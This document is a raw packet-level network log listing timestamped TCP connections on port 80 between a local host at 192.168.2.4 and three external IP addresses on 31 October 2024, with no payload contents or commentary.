Oct 31, 2024 03:04:13.502115011 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.502115011 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.502146959 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502157927 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.502183914 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502218008 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502218962 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.502218962 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.502253056 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502285957 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.502285957 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.502614021 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502626896 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502636909 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502649069 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502660036 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.502669096 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.502705097 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.502705097 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.503057003 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503068924 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503079891 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503092051 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503103018 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503110886 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.503110886 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.503117085 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503142118 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.503174067 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.503432989 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503480911 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.503539085 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503551006 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503598928 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.503598928 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.503686905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503699064 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503710032 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.503739119 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.503772020 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.504142046 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.504153013 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.504163980 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.504175901 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.504185915 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.504189968 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.504221916 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.504221916 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.513011932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.513025045 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.513036013 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.513082027 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.513120890 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.513140917 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.513153076 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.513164043 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.513206959 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.513206959 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.513782978 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.513834000 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.514139891 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514151096 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514162064 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514173985 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514185905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514190912 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.514241934 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.514241934 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.514425993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514437914 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514448881 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514482975 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.514482975 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.514580011 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514591932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514602900 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514631987 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.514664888 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.514714956 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514761925 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.514859915 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.514909983 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.514997959 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.515011072 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.515048027 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.515132904 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.515145063 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.515182972 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.515274048 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.515285015 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.515296936 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.515347958 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.515347958 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.515399933 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.515454054 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.545370102 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.545391083 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.545408964 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.545420885 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.545434952 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.545434952 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.545473099 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.588068008 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.588079929 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.588095903 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.588258982 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619375944 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619389057 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619400978 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619411945 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619424105 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619435072 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619453907 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619463921 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619483948 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619488955 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619488955 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619499922 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619513035 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619524956 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619528055 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619535923 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619554996 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619564056 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619564056 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619565964 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619579077 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619590044 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619594097 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619605064 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619617939 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619627953 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619633913 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619633913 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619641066 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619653940 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.619658947 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619683027 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.619704962 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.620277882 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.620321035 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.620382071 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:15.195559978 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:15.195610046 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:15.841017962 CET	63774	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:15.841337919 CET	63821	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:15.846167088 CET	80	63774	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:15.846194983 CET	80	63821	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:15.846251965 CET	63774	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:15.846281052 CET	63821	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:15.849874973 CET	63821	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:15.854671001 CET	80	63821	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:16.758721113 CET	80	63821	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:16.758781910 CET	63821	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:16.765970945 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:16.770773888 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:16.771131992 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:16.771362066 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:16.776350975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.679455996 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.679478884 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.679490089 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.679513931 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.679537058 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.679589987 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.679636955 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.679663897 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.679672956 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.679699898 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.679723978 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.679735899 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.679748058 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.679758072 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.679763079 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.679791927 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.686264038 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.686312914 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.686323881 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.686366081 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.686455965 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.686471939 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.686481953 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.686515093 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.686547041 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.834336042 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.834361076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.834393024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.834403038 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.834407091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.834429026 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.834464073 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.834647894 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.834692001 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.834800959 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.834835052 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.834863901 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.834893942 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.835056067 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.835068941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.835081100 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.835107088 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.835124969 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.835464001 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.835505962 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.835627079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.835647106 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.835656881 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.835664034 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.835697889 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.835717916 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.952918053 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.952931881 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.952943087 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.953017950 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.953041077 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.953113079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.953125954 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.953136921 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.953161955 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.953217983 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.953453064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.953464985 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.953474998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.953505039 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.953526974 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.953860998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.953871965 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.953886032 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.953896046 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.953913927 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.953939915 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.988929987 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.988960981 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.989039898 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.989087105 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.989128113 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:17.989295006 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:17.989334106 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.071544886 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.071566105 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.071577072 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.071655035 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.071713924 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.071726084 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.071736097 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.071767092 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.071778059 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.071790934 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.072242975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.072287083 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.072352886 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.072391987 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.072418928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.072458029 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.072474003 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.072484970 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.072510958 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.072525024 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.107618093 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.107629061 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.107659101 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.107687950 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.107697010 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.107726097 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.107748032 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.156279087 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.156352043 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.156450033 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.190633059 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.190645933 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.190656900 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.190668106 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.190679073 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.190691948 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.190732956 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.190788031 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.191169977 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.191224098 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.191687107 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.191696882 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.191706896 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.191720963 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.191734076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.191735029 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.191760063 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.191776037 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.227869034 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.227880955 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.227890968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.227901936 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.227942944 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.227976084 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.276498079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.276510954 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.276520967 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.276556015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.276602030 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.309240103 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.309252024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.309262037 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.309273005 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.309317112 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.309333086 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.309340954 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.309350014 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.309381008 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.309815884 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.309827089 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.309837103 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.309849024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.309864044 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.309892893 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.309993029 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.310004950 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.310041904 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.310163975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.310348034 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.347088099 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.347099066 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.347112894 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.347153902 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.347172976 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.393311977 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.393352032 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.393354893 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.393388987 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.393397093 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.393405914 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.393440008 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.393451929 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.427309990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.427361965 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.427449942 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.427459955 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.427496910 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.427499056 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.427525043 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.427536964 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.427566051 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.427596092 CET	63827	80	192.168.2.4	185.215.113.16
